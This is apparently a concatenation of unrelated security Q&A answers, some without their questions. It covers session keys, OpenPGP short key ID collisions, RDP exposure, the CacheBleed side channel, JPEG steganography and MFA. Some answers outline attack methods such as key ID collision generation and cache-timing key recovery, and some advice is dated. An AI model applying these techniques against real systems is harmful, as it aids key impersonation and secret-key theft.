Is DNS caching a security vulnerability?

This is what TLS is supposed to fix - if the website uses a certificate to identify itself, someone having the old IP address will still not be able to impersonate them.

Also, even if you don't cache the entries within Firefox, your own resolver is going to cache them. You cannot count on a DNS change being immediately visible to all clients - so anyone moving their site from one IP address to another should keep a cache or a redirect going at the old IP address for a while, in order to prevent just this.


Can't a user change his session information to impersonate others?

Yes, if you can guess another user's session key then you can become them. This is why you need to have a unpredictable session key that can be revoked.

There have been cases where best practice haven't been followed, for example Moonpig produced an API which used a session key that was the user's ID which is set on account creation as a consecutive number. This meant that you could be any user. If that user wanted to stop you, they couldn't as it is the key for all the sessions they are engaged in and can't be changed as it is the unique ID for them within the Moonpig database.

This is a really good example of how to do it wrong. Session keys should be unpredictable and able to be thrown away (possibly able for one user to have many session keys).

As @Mindwin mentioned in the comments, the session key should be in the HTTP payload (cookies or form data [best practice is in cookies]) and not in the URL. This is because having session data in the URL makes it so you have to put it in the URL of every link, stops you from persisting a session if the user leaves and comes back, copying the URL and sending it to someone gives them your session data and there is a limit of characters that a URL can be.

You should also use HTTPS wherever possible so that an attacker can't snoop on the HTTP payload and get a copy of the session key that way (this is how Firesheep worked).


Help - Somebody stole my OpenPGP key ID, what can I do?

OpenPGP Short Key IDs are Weak

  How did this happen?

OpenPGP short key IDs are much too small to provide a reasonable security against collision attacks. There are as few as 2^32 different short key IDs, which is less than 5 billion.

Generating such a large number of keys would require lots of time. But, the key ID is calculated from the OpenPGP public key (eg., the RSA public key) and the key generation time (as a unix timestamp, thus the number of seconds since 1970-01-01). This allows to reduce the number of keys to generate by orders of magnitude.

Using a rather simple computer program, one can easily generate key pairs, and then iterate over all reasonable key creation time values. Lets assume a reasonable period of the last five years, this means 150 million different key IDs. A probably somewhat under-estimate (dividing the number of possible short key IDs by the number of key IDs per generated key) which does not take into account that we also will have duplicate key IDs within the generated set assumes you only need to generate less than 30 "real" keys, which is a matter of seconds or minutes.

The OHM 2013 talk Trolling the Web of Trust by Micah Lee presented this flaw and some example implementation on how to exploit it. Richard Klafter and Eric Swanson used this technique to replicate the full strong set (the largest set of keys completely connected to each other, with other words most of the set of active OpenPGP users that did mutual key signing with others) including certifications and published it on a (non synchronizing) key server.

It is only a matter of time until somebody will copy the "faked" web of trust to the "real key servers", or simply generate his own "copy".

I provided a little bit longer explanation in What is an OpenPGP Key ID collision?, especially discussing the different OpenPGP key ID types and how they're related.

Don't use Short Key IDs

  What can I do about this?

This attack does not only struck your key, but possibly every single one. Generating collisions does not require (much) special knowledge nor specific hardware, every "power user" will be able to generate collisions on commodity machines after reading up for a short time.

The only way out of this is to stop using short key IDs, especially when no subsequent fingerprint validation is performed. Thus:

Whenever referring to your OpenPGP key - say on business cards or your mail signature - indicate your long key ID (64 bits, or 16 hex digits), or even better the full fingerprint.
Never give trust to a short key ID. If you use one to fetch somebody's key, verify against the long key or fingerprint instead (if you're tired of typing the long key ID, but it's only eight digits more!).
Tell about the problem. Refuse snippets/business cards/documents only containing the short key ID. Make people aware! This is a great point in time to educate over the web of trust in general, in my experience lots of OpenPGP users didn't completely get the basics of verifying validity of keys.

  Do I have to revoke my key?

Revoking your OpenPGP key will not help you, an attacker will be able to recreate a new colliding OpenPGP key within seconds or minutes. Rather keep your reputation (certifications) in the web of trust, and make sure to extend it!


How wise is it to use a tool for portspoofing at your server to confuse attackers?

Multiple problems here.

Dynamic port responses - if I scan you from two different IPs and compare the two responses, do I get a valid port list? If so, it is a very weak defence.
You're burning CPU to respond to the reconnaissance phase of an attack. This can be used against you. Depending on how this is set up, I can kill your server by forcing your spoofer to consume all the CPU on the machine.
Are you sure portspoof doesn't have any extra bonus vulnerabilities that your app DOESN'T have?
Can I slowloris likely non-real ports and see what else stops responding to filter out spam?
If you're running this, and I get a foothold and open a remote command port - will you notice, or will you get lost in your own spam?


Gmail does not include native encryption features that can be used via webmail.  Broadly speaking, webmail services that provide encryption are doomed to failure, and this for a very simple reason: the only encryption that you can trust is end-to-end i.e. from your machine to your correspondent's machine.

You can achieve this by installing a plugin for email encryption on your mailclient.  The most used standard is probably OpenPGP, which is implemented on the open source and free software GnuPG (cross-platform) or GPG4Win (for Windows).  However, your correspondent must do the same.  Note that in this way you can encrypt/decrypt messages no matter the email service you use, provided that it gives you access to email via POP or IMAP and not only webmail.


The operating system itself will be recognized by attackers, by analysing subtle details of TCP/IP packets. Nmap can do that easily. The SSH server also has a banner (sent as first element upon connection) which can give a lot of clues. Similarly, the software you use will probably be revealed by its dynamics. What you think of as a single, atomic "HTTP header" will be sent as one or several elementary write() calls, which will then be emitted as some IP packets; the position of the split, and the exact timing between the emissions, may tell quite a lot on the involved software.

The ordering of HTTP headers may also give clues about the server software. I see that you use gzip compression: zlib will be involved, but not all versions compress the same input to the exact same sequence of bytes (decompression is fully deterministic, but compression leaves open a lot of choices, and each version of zlib can make distinct choices when it strives to achieve the maximum compression rate or the fastest operation).

The only surefire way to hide your software version is to write your own software (and never publish it). Writing your own operating system or at least TCP/IP stack, though feasible, is a quite daunting endeavour.

Anyway, I will argue that preventing version detection is not really relevant. If an attacker knows one or two unpublished attacks, then... he will just try them out. Just in case. He does not need to know the exact version of the software for that. Knowing the exact version is useful only when the attacker has hundreds or thousands of exploits to choose from, and does not have enough time to try them all; this situation does not apply to unreported exploits, which tend to be valuable because they are rare. A given attacker would consider himself very lucky indeed if he has access to more than two or three exploits which are, as yet, unknown to the public at large.


Totally different IP addresses assigned when using the same router

Private network IPv4 ranges are:

10.0.0.0 - 10.255.255.255
172.16.0.0 - 172.31.255.255
192.168.0.0 - 192.168.255.255

Since the IP address ranges you're receiving are from your ISP (you can look them up on a site like arin.net) you're receiving DHCP passthru addresses because your Airport Extreme is in Bridge mode (page 31).

You can better protect your local network by disabling bridge mode, since bridge mode is meant to be used in situations where you're using your own DHCP server to give out addresses and not use the one built into the router. It makes the router act like an access point instead of a router.

This will not slow down your internet connection, but you will no longer be able to connect to your devices directly from the internet without going through the router. Then you can connect to devices on your local network from within your local network, and you'll have better control over the IP addresses you're receiving since you'll be assigning DHCP addresses from the Airport Extreme itself.

They label it in the interface as "connection sharing" which unfortunately confuses people. Also they do mention that you'll get different IP addresses, but they're talking about the IP addresses on the internet (external IPs) as opposed to local LAN addresses (which you will have when you enable DHCP outside of bridged mode).


How ARP forging prevents the victim from accessing the router?

Not about faster, the attacker machine floods ARP responses even if no one requested one. When machines receive these packets, they update their ARP tables. The attacker wins simply because it is constantly telling everyone it is the router every second.

The phrase you are looking for is "gratuitous ARP".


I see one of the possible inconveniences in a situation when company's newsletter can't be unsubscribed. An attacker programmatically subscribes many real users. The company sends its newsletter to subscribed users as usual. Some of the users who did not subscribe themselves might unsubscribe using the proper link included in the newsletter. Some might just move the message to spam. The attacker could then (periodically) make sure all the targeted users have subscribed again.

But I'm not sure about the efficiency of such attack and how likely it could cause real legal consequences for the attacked company. Nevertheless, the company could end up sending quite a lot of spam.


Does Dropbear support SSH key revocation?

SSH public key authentication does not support anything like key revocation. The list of "allowed" keys is store in the ~/.ssh/authorized_keys and if you remove the key from there, you revoke the access (if this is what you want to hear).

Revocation list is related to Public Key Infrastructure usually based on the X.509 certificates with certificate authorities, which is really overkill to implement in lightweight Dropbear. SSH keys are standalone cryptographic primitives and they do not use anything like this. There is possibility to use certificates in OpenSSH, but not with Dropbear.


Is there a secure way to have a publicly facing terminal server?

RDP is a complex protocol which requires complex implementations, and thus likely to contain bugs. The initial versions of the protocol did not include much encryption. Ulterior versions are better, and can use either a homemade encryption system (which may or may not use a certificate to embed the server public key), or SSL/TLS (which necessarily uses a server certificate). Note that, in the latter case, the TLS records are encapsulated into RDP-specific packets, so you cannot content yourself by saying "this is just SSL".

There is no conceptual reason which would make RDP inherently insecure; but the whole tower of inner protocols and the general lack of decent documentation is a problem. It is already hard to know what features will be supported by a given client. Microsoft's implementation had its lot of remote exploits, e.g. this one and that one.

Microsoft's own response is that if you want security, you need Remote Desktop Gateway, which adds yet another layer, but on the outside: a standard SSL/TLS, with user authentication, and RDP in it (so you end up with a SSL-RDP-SSL-RDP sandwich). The idea is that a public-facing SSL server is a known situation with code which has been thoroughly debugged, through years of exposition (in IIS, for HTTPS Web servers). RD Gateway won't prevent RDP holes, but exploits will be limited to people who can get through the outer SSL, i.e. people who can open a session on the server itself and already have a lot of power. Of course, RD Gateway is not free, so it is Microsoft's best interest to sell licenses for it.

Note that client support for RD Gateway is not a given, when the client software is not Microsoft's implementation.

To sum up, there is only one authoritative source for RDP (Microsoft) and they themselves have about given up the idea of claiming that their product is sufficiently bug free to be public-facing. This does not bode well. Some of the alarmist discourse on the subject might be prompted by the urge of selling RD Gateway licenses, but it makes sense that making Microsoft's RDP implementation secure is hard, because of the complexity and long history of the code.


Medicare card & SSN - What can be done to prevent unauthorized SSN disclosure?

The Center for Medicare and Medicaid Services along with the Social Security Administration have long warned against carrying the cards themselves.

So now, the CMS has begun the process of issuing new Medicare cards which utilize a different number that does not contain the participant's SSN.

New Medicare cards are coming

New Medicare cards

These cards promise to be safe to carry and do not carry the same risk as the previous cards did.


Apparently, this topic arouse great interest to many of you. After having done some more research, I presented the CacheBleed attack to a group of scientists last month. Now, I would like to share my results with you and to actually answer my own question.

The above three steps of the generic Prime+Probe attack are correct. However, the decisive step is missing, i.e. how to deduce the secret key. The attacker is not able to perform a DMA and he is not able to read the data saved in the cache lines. This is quite important to understand because otherwise, the entire attack would be much easier.

The attacker only knows what cache line was accessed by measuring time delays. Furthermore, he knows how RSA is implemented and what algorithms are in use. OpenSSL uses a fixed-window exponentiation algorithm to compute the message m

m = c^d mod p

We need to understand how this exponentiation algorithm works. The Handbook of Applied Cryptography by Menezes, van Oorschot, and Vanstone suggest the following pseudo-code:

Please do not confuse the secret key d and the exponent e in the above algorithm. As we are only interested in the decryption step, e is not the public key but the secret. Thus d = e in our case. The interesting point is the multiplication in 3.2. It uses precomputed multiplier g_j which actually speeds up the exponentiation. However, their selection depends on the secret key.

If the attacker knows the index of the current multiplier, i.e. what multiplier is used, he knows some bits of the secret key. The value of the multiplier is not of interest.

OpenSSL uses the so-called scatter-gather technique to avoid cache attacks on cache line granularity. It is predictable where the multiplier is stored. In total there are 32 multipliers. For that reason each needs 5 bits to be identified uniquely. The two most significant bits select the cache line while the three least significant bits identify the bin. Each cache line consists of eight bins.

The attacker is able to deduce what bin was accessed during a decryption operation. This reveals three bits of the index of the used multiplier and thus partly the private key. The missing two bits can be computed due to redundancies in RSA keys.

To sum it up, no DMA is performed, the attacker does not read data from the cache. The crucial factor is that the cache position partly reveals the secret key. This is due to secret-dependent memory accesses. Similar attacks such as on AES make use of the cache position as well. The actual data is not of interest, but the position reveals sensible data.


I don't think you're looking at a hidden data segment. The FFD9 is an EOI marker and data following it should be ignored, so I wouldn't expect JPEGSnoop to try to actually decode it. The fact that it does seems to indicate the error isn't related to the EOI.

An illegal YCC value could indicate that an out-of-range value is actually used to code information. Several possible schemes are possible. For example you might be looking at a double-bit scheme in which violation either do not occur, or occur in singlets or in pairs:

OK OK    = it was not possible to code a bit in this pixel
FAIL OK  = this pixel codes a zero (or a one)
FAIL FAIL= this pixel codes a one (or a zero)

Since most JPEG decoders silently clip values out of range, this kind of encoding is not immediately visible, and does not greatly impact on image size (i.e., there is no high frequency noise superimposed on the image).

Another scheme possible with JPEG specifically is to abuse ITU-R BT.601 encoding, which has legal YCC values between 16 and 235 (but in a byte you can store values 0-255). Whenever you find a pixel that is very black (16) or very white (235), that is suitable for embedding four extra bits in its least significant nibble. Output 12 instead of 16, and ITU decoders will translate it as "black", while your steganography decoder will read "1100b".

Also, when YCC is denormal, the values for the Cb and Cr components should be insignificant (I think). Black color has no hue, so whatever hue you specify will always decode to black. This means that you can use these values to store additional information.

On the other hand, everything above might be wrong and those data might actually be after the End-Of-Image marker. What it is, I couldn't say; you can try and view it through a hex editor and see whether it makes sense. It could be, say, an ASCII sequence, and the reason it throws YCC clipping error is because "SQUEAMISH OSSIFRAGE" is not actually a valid DCT decomposition after all, so it vanishes to zero (or to 1), and once converted to YCC it naturally falls outside the range.

Update

Okay, the file ends with FFD9 (EOI), so provided it hasn't got two EOIs:

 ....legitimate image.... FFD9 EXTRA DATA ...FFD9

then the YCC "errors" reported by JPEGSnoop must refer to the "legitimate image" data.

These bytes are correctly DCT decoded, but they decode to a triplet (Y, Cb, Cr) where the Y value is out of range, and is therefore clipped. You see in the JPEGsnoop debug that you have values of 256 and 258, which are (obviously) not 8 bit.

This can be used to carry information by mapping denormal YCbCr values to single bits:

         JPEG    Stego
255 ...  white   00
256 ...  white   01
257 ...  white   10
258 ...  white   11

This way, every pixel with full luma might encode two bits of hidden information (or you might encode only 0 as 256 and 1 as 258, if by some chance the integer algorithm never outputs 257).

To decode it, you need to recover all those samples (you need some JPEG decoder that does not clip values), and dump out the "extra" bits. Then figure out what those bits mean.


Why is passing a token for each API request more secure than passing a username and secret for each API request?

In most use cases, a token is a form of identification, similar to a username without a password.

If you are certain that nefarious actors or incompetence won't compromise that identification, then many people will use that as a form of authentication, such as with session tokens inside of browser cookies, or as the token in JWT.

A token is typically generated from a much higher entropy source than a username or a password, and is unlikely to be reused or shared with third parties, unlike passwords.

Additionally, if a token is compromised, it only affects one account in one system.  If a user's password were compromised, it might affect most of the user's accounts across many systems, possibly also giving access to the user's bank.

(Please use a password manager and generate random passwords for every account, people!)

If the username and password are generated randomly with high entropy, and assigned only to a specific account and not re-used on other systems, then there is little difference between using a username and password, and using a token. In the end, both are simply authentication using shared secrets.  Tokens just generally don't get shared with third parties the way that security-ignorant-users' passwords are.


Service Provider that requires elevation

The mechanism depends on the protocol but in practice MFA at the protocol level is not standardized. For example in SAML, you can make use of an authentication context:

  If a relying party is to rely on the authentication of another entity
  by an authentication authority, the relying party may require
  information additional to the authentication itself to allow it to put
  the authentication into a risk-management context. This information
  could include:

  The initial user identification mechanisms (for
  example, face-to-face, online, shared secret).
  The mechanisms for
  minimizing compromise of credentials (for example, credential renewal
  frequency, client-side key generation).
  The mechanisms for storing
  and protecting credentials (for example, smartcard, password rules).
  The authentication mechanism or method (for example, password,
  certificate-based SSL)

The relying party could ask the identity provider to use MFA when authenticating the user If MFA is not used, the relying party could reject SAML assertion and therefore deny access. Sounds good, doesn't it? This is theory. In practice, this doesn't work at the protocol level because defining the behavior of a specific authentication context is not something that can be universally specified.

SAML as a protocol allows extensions so any party could publish their own authentication context. As long as that context is understood by SPs and IdPs that participate in a federation, it all works. Not quite universal but it's a solution. In a higher education community where SAML via Shibboleth is widespread, they've defined a profile for MFA along with associated authentication context and baked it into implementations.

OIDC also has authentication contexts and they suffer from the same problem as described above. Since OIDC is built on top of oAuth, it also has scopes as another control lever to request desired access. If there was, say, a standard 'mfa' scope  then the client could request it from the authorization service. Alas, only a few scopes are standardized.

When you're dealing with a large, commercial identity provider such as Azure AD, your ability to implement to your needs is subject to

Specifications they support
Their interpretation of these specifications
Your ability to customize their behavior and still remain within the spec.

While AAD supports SAML and OIDC, it does so narrowly and you can customize very little. To be specific, you can't ask AAD to interpret your own scopes or authentication contexts.

Since you know upfront that this particular app is going to need MFA, your best implementation option in AAD is a conditional access policy.


How can one make sure that some specific directories are fully deleted (without any record of their deletion) from a USB/flash drive?

Not really - it's the same problem as with SSDs, in that the way flash memory works in both USB drives and SSDs involves a certain amount of overcapacity and the ability to mark certain areas as unusable. There is always a risk that data remains in a currently unusable area of the device, but which could be recovered by specialist tools.

Best option is usually to encrypt the whole drive before putting any sensitive data onto it, then only encrypted data will be left on any currently inaccessible sectors, which, without the rest of the data and the key (assuming a sensible cipher mode), should be impossible to turn back into useful data. If you already have sensitive data on the device which you need to be completely unrecoverable, only real option is physical destruction.


Dropbox Breach - Can I trust 2FA to protect my account?

No. It is not enough. You need to trust the service to handle the second factor right. So you need to trust dropbox.

The google authenticator probably calculates the OTP value based on TOTP (RFC6238) (in fact it can do HOTP and TOTP). I.e. if you registered a Google Authenticator TOTP with dropbox, dropbox needs to save the symmetric secret key. If they are stupid, they will save it in the same database table like the hashed password. If the attacker retrieves your user's row of this table, the attacker has

a) the hashed password and can start an attack like @WhiteWinterWolf pointed out and

b) can use the secret TOTP key (if it was not encrypted) to immediately calculate TOTP values. (also see https://netknights.it/en/the-problem-with-the-google-authenticator/)

Thus - using a 2nd factor you registered at one service does not immediately mean, you are safer.


Is there a FIPS 181 like standard for random password generation with alphanumerical seed?

Note that FIPS 181 is from 1993, which is ancient, in computer security terms, and I doubt that NIST is actively recommending it, especially since as you say it only includes lower-case ASCII letters, making the passwords much easier to crack.

At a deeper level, since the goal is for passwords to be unpredictable, it is not generally good to promulgate a standard which would simply serve to restrict the set of possible passwords.  That would make the attacker's job easier.

I recommend incorporating random inputs into your thinking when making a password, but then tweaking it in your own way to make it even less predictable.  The apg program looks like what you're looking for, and is suitable for that kind of use, since it is easy to tweak the parameters, and to then tweak its suggestions.  It refers to FIPS 181, but actually by default generates passwords that include symbols, digits and capital letters as well as lower case letters, and which can either be limited to more pronounceable ones or not.

The first thing you'll probably want to tweak (depending on your threat model) is to use the -m option to increase the minimum length to at least 12 characters so there is enough entropy in them.  See entropy of FIPS-181 automated password generator - Information Security Stack Exchange for some background on the entropy of such passwords.

Note that I don't recommend using any of the many web pages that generate passwords using apg or the like - that's just asking for someone to remember (or spy on) all the ones that are handed out and add them to their cracking dictionary.  Evidently that wasn't clear way back in 1986 to the authors of RFC 972 - Password Generator Protocol, which amazingly still lives on in my /etc/services file....

See also RFC 4086 - Randomness Requirements for Security


If you have a https page, but load some assets (JavaScript) over plain http, then:

Many browsers (recent Chrome versions, maybe also Firefox) won't
even load the script by default
an attacker can intercept the script, and replace it with — for
example — another script that will simply copy the entire <body>
contents of your https page, rendering https useless if the first
place. Or they can redirect the visitor to an entirely different,
attacker-controlled site. Most visitors wouldn't notice the change in the URL and continue interacting with the attackers site, potentially giving away their password or other sensitive information.


Does CVE-2017-8759 impact the web service?

If by „web-service“ and „the cloud service“ you mean a cloud hosted office instance (which is not what a web service is), the answer is going to be maybe, depending on wether that vulnerable parser is deployed in the product.

I couldn’t find a definitive answer to that in 5 minutes of googling; the vulnerable parser seems to be from

  Microsoft .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 4.7


Comparison of signature algorithms HMACSHA1 and RSASHA1

HMAC-SHA1 is a message authentication code (MAC) algorithm, RSA-SHA1 is a signature algorithm. Though MACs are sometimes incorrectly called signatures, they are fundamentally different.

With a MAC, anyone knowing the secret key can both create and verify MACs. With signatures on the other hand, anyone with the public key can verify a signature, but only someone with the private key can create a signature.

Signatures are used when it is desired that the party verifying the signature not be able to create signatures. PGP uses them to verify message authorship, TLS use them to verify certificate chains.

MACs are used when all parties involved simply want to know that the message came unaltered from another valid party. TLS uses them to verify that messages are unaltered between the client and server.

MACs are generally significantly faster than signatures. A signature where both parties know the public and private keys could be used as a MAC, but performance would be much worse.

Note that SHA1 is being deprecated in most places due to collision attack. The collision attack doesn't affect HMAC-SHA1, but it may be desirable to use HMAC-SHA256 instead if only to avoid unneeded questions. SHA1 should be avoided with RSA signatures if the attacker has any control over what you're signing, and since it may not always be clear whether or not this is the case (or could be the case in the future due to changes), it's best to just use SHA256.


packets coming out of a 10.10 network with 192.168 source addresses

It's very simple to block or allow the relevant traffic on MikroTik RouterOS device.
I am pretty sure it's not hacked routers, maybe they are not configured properly.
You can use an Address link like LAN_Networks and allow only them.
The example at their wiki site is pretty simple:
https://wiki.mikrotik.com/wiki/Manual:IP/Firewall/Address_list


How to view WiFi traffic using Wireshark on a 3rd party?

I would suggest you set up an access point with Kali. Using this approach you can even set up a transparent proxy and open SSL Tunnels to sniff on ssl traffic.

Apps that verify certificates might still give you trouble and wont initiate connections tough (as they should).


For security reasons, can I block ping response on my router without disabling my network?

Even if you could, disabling ping requests would do nothing... for real, it's just for testing purposes.

Apparently you're being somehow DDose'd... i would suggest reading here.

The only 100% effective recommendation is for you (if you don't have a static IP) reset your router and check if the IP changed, (it should if you have a dynamic IP.) if yes, you're safe, unless the attackers have other ways to get your IP... if it didn't change, or you have a static IP, you should call your ISP and request them to change your IP address because you're being DDose'd.

Edit: In answer to your comment on @Ajaxasaur answer (i can't comment :/) you could install a firewall on your computer like COMODO firewall (i believe it's free) and check all connections made from your computer, inbound and outbound.


Nonce construction for CTR mode (Mcrypt)

Your question is very confusing. It does look like mcrypt_create_iv will use /dev/urandom if you call it with MCRYPT_DEV_URANDO. It also looks like you do not need to specify the counter value and you only need to call mcrypt_generic once.


SQL abstraction layer : A preventive mechanism for SQLi?

Using an abstraction layer is not meaningful prevention; applications that use such layers are still often vulnerable to SQL injection.

Sticking with your example of Hibernate, some ways to query are safe; some ways are unsafe. I've not actually come across an example like you describe that is partially safe, but it makes sense. I've come across several that are effectively direct SQL injection.

So, with an abstraction layer in place, you are still relying on developers to use the safe query API. This is not all that different to standard SQL interfaces (like JDBC) where there is a safe API (parameterised queries) and an unsafe API (dynamically building SQL). Either way, you are relying on developers to use the right one.

You might wonder, has someone invented an abstraction library that only has a safe API? If there's no unsafe API then there's nothing for developers to abuse. As far as I know, no such library exists, and this is because there are odd occasions that the unsafe API is needed. Remember that using the unsafe API is not necessarily a security vulnerability - the code may only be using data from trusted sources, or it may do its own sanitisation.

So the defences are:

Pick a good library, one with a safe API that is easy to use
Develop coding standards that mandate the safe API and train developers to use this
Perform peer review or static code analysis to enforce use of the safe API
Use penetration testing and WAFs as a final layer of defence


What OpenSSL v1.1.1g Commands Require A Configuration File?

A quick grep through the man pages shows the following:
$ zgrep -l "\-config" /usr/share/man/man1/openssl*.gz
/usr/share/man/man1/openssl.1ssl.gz
/usr/share/man/man1/openssl-ca.1ssl.gz
/usr/share/man/man1/openssl-req.1ssl.gz
/usr/share/man/man1/openssl-srp.1ssl.gz
/usr/share/man/man1/openssl-ts.1ssl.gz

This means the following commands:

openssl: just mentions the fact that some sub-commands accept a config file
ca: you're already aware of it
req: you're already aware of it
srp: maintain SRP password file: see wiki
ts: Time Stamping Authority command: a related PKI utility to obtain timestamped signatures.

Note that they do not necessarily require a config file, just that one can be used.


Full disclosure: the following guide was written by the research team of Checkmarx, creator of CxSAST (static code analysis tool), where I am employed.

Here is a JavaScript Secure Coding Practices guide:

GitHub - https://github.com/Checkmarx/JS-SCP
GitBooks - https://checkmarx.gitbooks.io/js-scp/

Since JavaScript is used these days both in front and back ends of applications, a plethora of vulnerabilities and issues are relevant and important to know while developing in JavaScript:

Cross Site Scripting (XSS) - Reflected, Stored and DOM based.
SQL and NoSQL injections
Authentication and password management issues
Session management issues
Access control issues
Unsafe use of cryptography - Hashing, Encryption, Decryption and Random number generators
Error Handling and Logging issues

To name a few... :)


It's not clear from the article if the attacker intercepted the SMS code or if he just found a way to bypass it. I think we can't really say what happened without more details.

However take a look at the "Ghost
Telephonist" attack shown at Black Hat USA 2017, which is just a real world example of how an attacker could intercept a call or an SMS without forwarding it to the end user.

Also keep in mind that not every user take action when they receives a 2FA code: people could think "someone got my password but 2FA stopped them from logging in" and ignore what happened.


How to keep secure while browsing on open wifi when SSL VPN is blocked?

If you can arrange this ahead of time (or get someone to do it for you), you could set up an SSL proxy (e.g. via stunnel), which would in effect be creating an SSL VPN.
Not so different from tunnelling over SSH, I guess, but it is another option.


Does using NAT-T for L2TP / IPsec VPN pose a realistic security risk?

Is using L2TP/IPsec VPN over NAT-T actually insecure, or is this only
  a theoretical risk?

Microsoft says Yes and No:

Yes in case this scenario applies on you:

  A network address translator is configured to map IKE and IPSec NAT-T traffic to a server on a NAT-configured network. (This server is
  Server 1.) The network address translator mappings are the ones that
  we recommend in this article.
  A client from outside the NAT-configured network uses IPSec NAT-T to establish bidirectional security associations with Server 1. (This
  client is Client 1.)
  A client on the NAT-configured network uses IPSec NAT-T to establish bidirectional security associations with Client 1. (This
  client is Client 2.)
  A condition occurs that causes Client 1 to reestablish the security associations with Client 2 because of the static network address
  translator mappings that map IKE and IPSec NAT-T traffic to Server 1.
  This condition may cause the IPSec security association negotiation
  traffic that is sent by Client 1 and that is destined for Client 2 to
  be misrouted to Server 1

  Although this is an uncommon situation, the default behavior on
  Windows XP SP2-based computers prevents any IPSec NAT-T-based security
  associations to servers that are located behind a network address
  translator to make sure that this situation never occurs.

Note that this recommendation still exist in recent Mircrosoft Windows operating system versions ( Windows 7, 8, 10)

No, in case you are sure this scenarion does not apply in your case.

  Is there any reason to NOT use L2TP/IPsec+NAT-T as a replacement for a
  PPTP VPN?

If you choose IPSec tunneling it means need to protect the confidentiality and integrity of the data but also  assure the authenticity of the sender. Combining this with NAT protocol is somehow contradicting your goal as the NAT may forward the responses/requests to the wrong IP address.

An other technical problem is that:

  NAT isn’t able to use the port numbers in TCP and UDP headers to
  multiplex packets to multiple internal computers when those headers
  have been encrypted by ESP


Assuming malicious admin, what threats does a dedicated server mitigate vs VPS?

With a VPS, the virtualization layer allows malicious admins to take a complete snapshot of the server (storage and RAM together) and inspect it at will; the nature of the snapshot is that you would not notice it. The equivalent in a dedicated server would entail one of the following:

Switching off the server, take a complete copy of the disk, reboot.
Install spying hardware directly within the machine (e.g. to make inspection of RAM).
Add some spying software in the operating system (again from direct access to the disk on the rebooted machine).

All these imply at least a shutdown/reboot, that you may notice -- unless the spying hardware had been there since day 1, of course.

Disk encryption won't actually help you much. Either the machine can reboot alone -- in which case a snapshot of the disk would be perfectly able to boot in, say, a VM; or you have to type in a decryption password whenever your server boots, which is both inconvenient, and vulnerable to eavesdropping from the malicious admin.

All of this requires taking some explicit actions that may not go unnoticed. A motivated attacker won't be deterred, and will plan a phony "reboot for electrical maintenance" to get your machine down for some minutes without you panicking. What dedicated hardware protects you against, as opposed to a VPS, is casual indelicacies from subaltern admins / interns.

(One may argue that having your own hardware also protects you against side-channel attacks from other customers at the same hosting service. Cross-VM side-channel attacks have been demonstrated in lab conditions, so whether they could be pulled off in the wild is an open question.)


What can I do to increase security of a small open source application

Look up the OWASP Top 10 (which is the most relevant resource for your question) proposed by edvinas.me and the list of Web-oriented attacks covered by fel1x.

I don't have good advice for Web server security because I haven't done it in ages, but make sure you keep your servers up to date and that they run with only the privileges they need (separate OS account, no write access outside of their own temporary folders, and all other services on your machine should have a private account, /tmp directory and so on). Use encrypted connections for all logged-in users everywhere on your site, and store passwords properly!

You can improve the quality of your code by making sure that:

Input Validation: you verify the domain of all possible user input. You must verify length, type and structure e.g. for strings that you intend to parse later on. Be particularly wary of SQL injections and XSS attacks! See this page for some advice. Make sure to use parameterized queries for your database.
Access Control: you verify that whenever some form of user input is used to access data, access control hooks are in place to verify that this data is within the scope of the user's privileges. Much of this is done implicitly (i.e. your user has an ID associated with their current session and that ID is used to retrieve entries in a database) so it's not always obvious to see what would go wrong. Think in terms of how users could craft their input to access different data/code branches, and how you can ensure that this does not happen.
Bug Hunting: you actively try to crash your server, by using fuzz testing. You should look for generic HTTP fuzzers and do both naive fuzzing (the fuzzer will randomly inject errors in its requests) and more structured fuzzing (the fuzzer knows what packets should look like in your app and will instantiate parameters e.g. the advertised size of a packet, some POST parameters, etc.)
Code reviews: you should really have a third-party pentesting but I understand that you don't have the budget for it. You could ask potential contributors and users to review specific sections of the code and keep a track of which code hasn't been reviewed yet in your project. The people managing GNOME Shell extensions might have some good experience of this to share with you. Note that reviews will not address incorrect installations and server issues and probably not design flaws, usually only obvious bugs...
Documentation: since you're providing an app as FOSS, describe how to set it up securely in some documentation and distribute it along with your sources. Be open to criticism and help from other sysadmins and developers who think you're doing something wrong or not giving the best advice.


Additional security benefits from Multi-Factor Authentication?

"Biometrics" and "100% accuracy" are distracting the other people answering from the core question: "Are there any other benefits to MFA?" and that the answer is in fact Yes, there are other security benefits to MFA.

You're 100% certain you can identify everyone connecting to your site. You correctly reject an attacker attempting to brute force their way in. Many types of MFA, such as an SMS contact, allow you an out-of-band way to communicate with the authentic user to let them know their account is under attack. There are many reasons you might want to do this, even if both you and the user know their account is safe: To allow them to contact authorities and attempt to identify the attacker, for example.
Your system is 100% accurate today but may be compromised in the future. Reasons might include:

You make use of a crypto system that is strong enough to discourage all attackers now, but in a decade, technological advances have made it cheap enough to break the crypto that it's now worth attacking. MFA means the crypto system is no longer the only point of failure.
Perhaps when you say 100% accurate, you mean "This system is so hard to fool, that nobody would ever bother going to the expense of fooling it." (By creating a clone of your wife, for example.) This is an important distinction. If the value of information in your system increases dramatically at some point in the future, your security may now be inadequate, because the economics of breaking in have changed. MFA increases the expense further, improving your security from an economic standpoint.
Your IT staff introduces a serious bug in a future version of the product; your perfect system no longer works when that happens, but MFA could continue to work.

Your system is 100% accurate in the sense that only the authentic user can access the account. However, the authentic user can be forced, under duress, to access their own account. MFA may provide a way out of this situation for the user. For example, if it requires a physical device which is time-locked or location-locked, and can't be accessed even under duress.
This one is probably the most generally applicable: Access is about both authentication and authorization, and an authentic user who is authorized to use the system today may get fired, and no longer be authorized to use the system tomorrow. MFA can provide a double-check that their account is deactivated correctly. For example, if they must turn in their keys, including their code-generating device used for MFA, deactivating their account becomes a secondary concern.

The value provided by these benefits varies based on the value of the information you're trying to protect, what type of MFA you're using, what type of primary authentication you're using, and so on, but the bottom line is that someone may find these compelling reasons to use MFA even in a "perfect" system.


Use NTFS permissions to prevent folder access on USB key

Simply put: you cannot do that. NTFS permissions are set per user. They also are dependent on the scope: any user who is local admin can take ownership of local resources and change permissions as he wants.

Your only option is to rely on encryption. I suggest you have a look at Bitlocker to go: it is very easy to setup and very convenient to use: you can configure your machine to auto-mount the device (storing the key with your lock trusted store) and set it up with a strong password (which you will store in your password manager).


How can I set a password for single user mode?

To password-protect single user mode, you need to replace the single user mode shell with something like sulogin.  Here's a page that describes how to do it under the various major RHEL variants, which should cover your Fedora variant.

